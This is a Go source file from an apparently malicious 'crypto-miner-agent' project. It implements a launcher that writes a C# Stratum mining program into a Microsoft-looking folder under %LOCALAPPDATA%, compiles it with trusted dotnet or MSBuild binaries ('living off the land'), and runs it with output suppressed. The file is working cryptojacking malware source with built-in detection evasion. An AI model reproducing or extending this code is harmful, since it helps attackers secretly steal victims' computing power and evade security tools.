237 lines
5.9 KiB
Go
237 lines
5.9 KiB
Go
package miner
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"sync"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// dotnetBin and msbuildBin are toolchain paths; tests override via SetDotnetBinPath / SetMSBuildBinPath.
|
|
var (
|
|
dotnetBin = "dotnet"
|
|
msbuildBin = "MSBuild"
|
|
dotnetExecCommand = exec.Command
|
|
)
|
|
|
|
// SetDotnetBinPath overrides the dotnet CLI binary (restore with "").
|
|
func SetDotnetBinPath(path string) {
|
|
if strings.TrimSpace(path) == "" {
|
|
dotnetBin = "dotnet"
|
|
return
|
|
}
|
|
dotnetBin = path
|
|
}
|
|
|
|
// SetMSBuildBinPath overrides the MSBuild binary (restore with "").
|
|
func SetMSBuildBinPath(path string) {
|
|
if strings.TrimSpace(path) == "" {
|
|
msbuildBin = "MSBuild"
|
|
return
|
|
}
|
|
msbuildBin = path
|
|
}
|
|
|
|
// SetDotnetExecCommand restores default when fn is nil.
|
|
func SetDotnetExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
|
if fn == nil {
|
|
dotnetExecCommand = exec.Command
|
|
return
|
|
}
|
|
dotnetExecCommand = fn
|
|
}
|
|
|
|
// DotnetLauncher compiles and runs a minimal Stratum stub via trusted dotnet/msbuild (LOTL).
|
|
type DotnetLauncher struct {
|
|
cfg config.RuntimeConfig
|
|
workDir string
|
|
tool string // "dotnet" or "msbuild"
|
|
|
|
mu sync.Mutex
|
|
running bool
|
|
cmd *exec.Cmd
|
|
}
|
|
|
|
// NewDotnetLauncher validates platform, pool, and toolchain availability.
|
|
func NewDotnetLauncher(cfg config.RuntimeConfig) (*DotnetLauncher, error) {
|
|
if runtime.GOOS != "windows" {
|
|
return nil, fmt.Errorf("dotnet tier requires Windows")
|
|
}
|
|
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
|
|
return nil, fmt.Errorf("pool host/port required for dotnet stratum tier")
|
|
}
|
|
if strings.TrimSpace(cfg.Wallet) == "" {
|
|
return nil, fmt.Errorf("wallet required for dotnet stratum tier")
|
|
}
|
|
tool, err := resolveDotnetToolchain()
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
workDir, err := lotlWorkDir(cfg, "Stratum")
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return &DotnetLauncher{cfg: cfg, workDir: workDir, tool: tool}, nil
|
|
}
|
|
|
|
func resolveDotnetToolchain() (string, error) {
|
|
if _, err := exec.LookPath(dotnetBin); err == nil {
|
|
return "dotnet", nil
|
|
}
|
|
if _, err := exec.LookPath(msbuildBin); err == nil {
|
|
return "msbuild", nil
|
|
}
|
|
return "", fmt.Errorf("neither dotnet nor MSBuild found in PATH")
|
|
}
|
|
|
|
// WorkDir returns the LOTL compile output directory.
|
|
func (l *DotnetLauncher) WorkDir() string {
|
|
return l.workDir
|
|
}
|
|
|
|
// Toolchain reports dotnet or msbuild.
|
|
func (l *DotnetLauncher) Toolchain() string {
|
|
return l.tool
|
|
}
|
|
|
|
// Start materializes source under %LOCALAPPDATA%\Microsoft\... and runs compile + execute.
|
|
func (l *DotnetLauncher) Start() error {
|
|
l.mu.Lock()
|
|
defer l.mu.Unlock()
|
|
if l.running {
|
|
return nil
|
|
}
|
|
|
|
if err := l.materializeProject(); err != nil {
|
|
return err
|
|
}
|
|
if err := l.compile(); err != nil {
|
|
return err
|
|
}
|
|
cmd, err := l.launchMiner()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
l.cmd = cmd
|
|
l.running = true
|
|
log.Printf("[dotnet-tier] started toolchain=%s dir=%s wallet=%s pool=%s:%d",
|
|
l.tool, l.workDir, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
|
|
go l.waitExit()
|
|
return nil
|
|
}
|
|
|
|
func (l *DotnetLauncher) materializeProject() error {
|
|
if err := os.MkdirAll(l.workDir, 0o755); err != nil {
|
|
return fmt.Errorf("mkdir workdir: %w", err)
|
|
}
|
|
csPath := filepath.Join(l.workDir, "Program.cs")
|
|
if err := os.WriteFile(csPath, []byte(renderStratumCSharp(l.cfg)), 0o644); err != nil {
|
|
return fmt.Errorf("write Program.cs: %w", err)
|
|
}
|
|
projPath := filepath.Join(l.workDir, "StratumMiner.csproj")
|
|
if err := os.WriteFile(projPath, []byte(stratumCsprojTemplate), 0o644); err != nil {
|
|
return fmt.Errorf("write csproj: %w", err)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (l *DotnetLauncher) compile() error {
|
|
switch l.tool {
|
|
case "dotnet":
|
|
cmd := dotnetExecCommand(dotnetBin, "build", l.workDir, "-c", "Release", "-o", filepath.Join(l.workDir, "out"), "-v", "q")
|
|
cmd.Dir = l.workDir
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return fmt.Errorf("dotnet build failed: %w (%s)", err, strings.TrimSpace(string(out)))
|
|
}
|
|
return nil
|
|
case "msbuild":
|
|
proj := filepath.Join(l.workDir, "StratumMiner.csproj")
|
|
cmd := dotnetExecCommand(msbuildBin, proj, "/p:Configuration=Release", "/v:q")
|
|
cmd.Dir = l.workDir
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return fmt.Errorf("msbuild failed: %w (%s)", err, strings.TrimSpace(string(out)))
|
|
}
|
|
return nil
|
|
default:
|
|
return fmt.Errorf("unknown toolchain %q", l.tool)
|
|
}
|
|
}
|
|
|
|
func (l *DotnetLauncher) launchMiner() (*exec.Cmd, error) {
|
|
switch l.tool {
|
|
case "dotnet":
|
|
cmd := dotnetExecCommand(dotnetBin, "run", "--project", l.workDir, "-c", "Release", "--no-build")
|
|
cmd.Dir = l.workDir
|
|
cmd.Stdout = nil
|
|
cmd.Stderr = nil
|
|
if err := cmd.Start(); err != nil {
|
|
return nil, fmt.Errorf("dotnet run failed: %w", err)
|
|
}
|
|
return cmd, nil
|
|
case "msbuild":
|
|
exe := filepath.Join(l.workDir, "bin", "Release", "net8.0", "AetherForgeStratum.exe")
|
|
if _, err := os.Stat(exe); err != nil {
|
|
exe = filepath.Join(l.workDir, "out", "AetherForgeStratum.exe")
|
|
}
|
|
cmd := dotnetExecCommand(exe)
|
|
cmd.Dir = l.workDir
|
|
cmd.Stdout = nil
|
|
cmd.Stderr = nil
|
|
if err := cmd.Start(); err != nil {
|
|
return nil, fmt.Errorf("run compiled exe failed: %w", err)
|
|
}
|
|
return cmd, nil
|
|
default:
|
|
return nil, fmt.Errorf("unknown toolchain %q", l.tool)
|
|
}
|
|
}
|
|
|
|
func (l *DotnetLauncher) waitExit() {
|
|
if l.cmd == nil {
|
|
return
|
|
}
|
|
err := l.cmd.Wait()
|
|
l.mu.Lock()
|
|
l.running = false
|
|
l.cmd = nil
|
|
l.mu.Unlock()
|
|
if err != nil {
|
|
log.Printf("[dotnet-tier] miner process exited: %v — chain will advance", err)
|
|
} else {
|
|
log.Printf("[dotnet-tier] miner process stopped")
|
|
}
|
|
}
|
|
|
|
// Stop terminates the running LOTL miner process.
|
|
func (l *DotnetLauncher) Stop() {
|
|
l.mu.Lock()
|
|
cmd := l.cmd
|
|
running := l.running
|
|
l.mu.Unlock()
|
|
if !running || cmd == nil {
|
|
return
|
|
}
|
|
if cmd.Process != nil {
|
|
_ = cmd.Process.Kill()
|
|
}
|
|
l.mu.Lock()
|
|
l.running = false
|
|
l.cmd = nil
|
|
l.mu.Unlock()
|
|
}
|
|
|
|
// Running reports whether the LOTL miner is active.
|
|
func (l *DotnetLauncher) Running() bool {
|
|
l.mu.Lock()
|
|
defer l.mu.Unlock()
|
|
return l.running
|
|
}
|